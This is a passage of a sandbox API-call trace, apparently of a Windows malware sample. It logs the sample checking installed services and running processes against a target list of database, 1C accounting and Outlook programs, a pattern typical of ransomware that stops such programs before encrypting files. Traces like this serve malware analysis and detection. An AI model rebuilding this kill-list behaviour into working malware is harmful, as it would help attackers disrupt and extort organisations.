lpString2="AudioSrv") returned 1 [0156.386] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0156.386] lstrlenW (lpString="BFE") returned 3 [0156.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.386] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.386] lstrlenW (lpString="CryptSvc") returned 8 [0156.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.386] lstrlenW (lpString="CscService") returned 10 [0156.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0156.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0156.386] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0156.386] lstrlenW (lpString="DcomLaunch") returned 10 [0156.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.386] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.386] lstrlenW (lpString="Dhcp") returned 4 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.387] lstrlenW (lpString="Dnscache") returned 8 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.387] lstrlenW (lpString="DPS") returned 3 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.387] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.387] lstrlenW (lpString="eventlog") returned 8 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0156.387] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0156.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0156.387] lstrlenW (lpString="EventSystem") returned 11 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.387] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.387] lstrlenW (lpString="gpsvc") returned 5 [0156.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.387] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.388] lstrlenW (lpString="iphlpsvc") returned 8 [0156.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.388] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.388] lstrlenW (lpString="LanmanServer") returned 12 [0156.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.388] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.388] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.388] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.388] lstrlenW (lpString="lmhosts") returned 7 [0156.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.388] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.388] lstrlenW (lpString="MMCSS") returned 5 [0156.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0156.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0156.388] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0156.388] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0156.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0156.388] lstrlenW (lpString="MpsSvc") returned 6 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.389] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.389] lstrlenW (lpString="Netman") returned 6 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0156.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0156.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0156.389] lstrlenW (lpString="netprofm") returned 8 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.389] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.389] lstrlenW (lpString="NlaSvc") returned 6 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.389] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.389] lstrlenW (lpString="nsi") returned 3 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.389] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.389] lstrlenW (lpString="PcaSvc") returned 6 [0156.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.389] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.390] lstrlenW (lpString="PlugPlay") returned 8 [0156.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.390] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.390] lstrlenW (lpString="Power") returned 5 [0156.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.390] lstrlenW (lpString="ProfSvc") returned 7 [0156.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.390] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.390] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.390] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.390] lstrlenW (lpString="RpcSs") returned 5 [0156.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.390] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.390] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.390] lstrlenW (lpString="SamSs") returned 5 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.391] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.391] lstrlenW (lpString="Schedule") returned 8 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.391] lstrlenW (lpString="SENS") returned 4 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.391] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.391] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.391] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.391] lstrlenW (lpString="Spooler") returned 7 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.391] lstrlenW (lpString="SysMain") returned 7 [0156.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.392] lstrlenW (lpString="Themes") returned 6 [0156.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.392] lstrlenW (lpString="TrkWks") returned 6 [0156.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0156.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0156.392] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0156.392] lstrlenW (lpString="UxSms") returned 5 [0156.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0156.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0156.392] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0156.392] lstrlenW (lpString="WdiServiceHost") returned 14 [0156.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.392] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0156.392] lstrlenW (lpString="WdiSystemHost") returned 13 [0156.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.392] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0156.392] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0156.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0156.392] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0156.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.393] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0156.393] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0156.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0156.393] lstrlenW (lpString="Winmgmt") returned 7 [0156.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0156.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0156.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0156.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0156.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0156.393] lstrlenW (lpString="WPDBusEnum") returned 10 [0156.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.393] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0156.393] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0156.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0156.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0156.393] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0156.395] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.395] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.395] lstrlenW (lpString="System") returned 6 [0156.395] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0156.396] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0156.396] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.396] lstrlenW (lpString="smss.exe") returned 8 [0156.396] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0156.396] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0156.396] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.396] lstrlenW (lpString="csrss.exe") returned 9 [0156.397] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.397] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.397] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.397] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.397] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.397] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0156.397] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.397] lstrlenW (lpString="wininit.exe") returned 11 [0156.397] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0156.397] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0156.397] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.398] lstrlenW (lpString="csrss.exe") returned 9 [0156.398] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.398] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.398] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.398] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.398] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.398] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.398] lstrlenW (lpString="winlogon.exe") returned 12 [0156.398] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.398] lstrlenW (lpString="services.exe") returned 12 [0156.398] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.399] lstrlenW (lpString="lsass.exe") returned 9 [0156.399] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0156.399] lstrlenW (lpString="lsm.exe") returned 7 [0156.399] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.399] lstrlenW (lpString="svchost.exe") returned 11 [0156.399] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.400] lstrlenW (lpString="svchost.exe") returned 11 [0156.400] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, 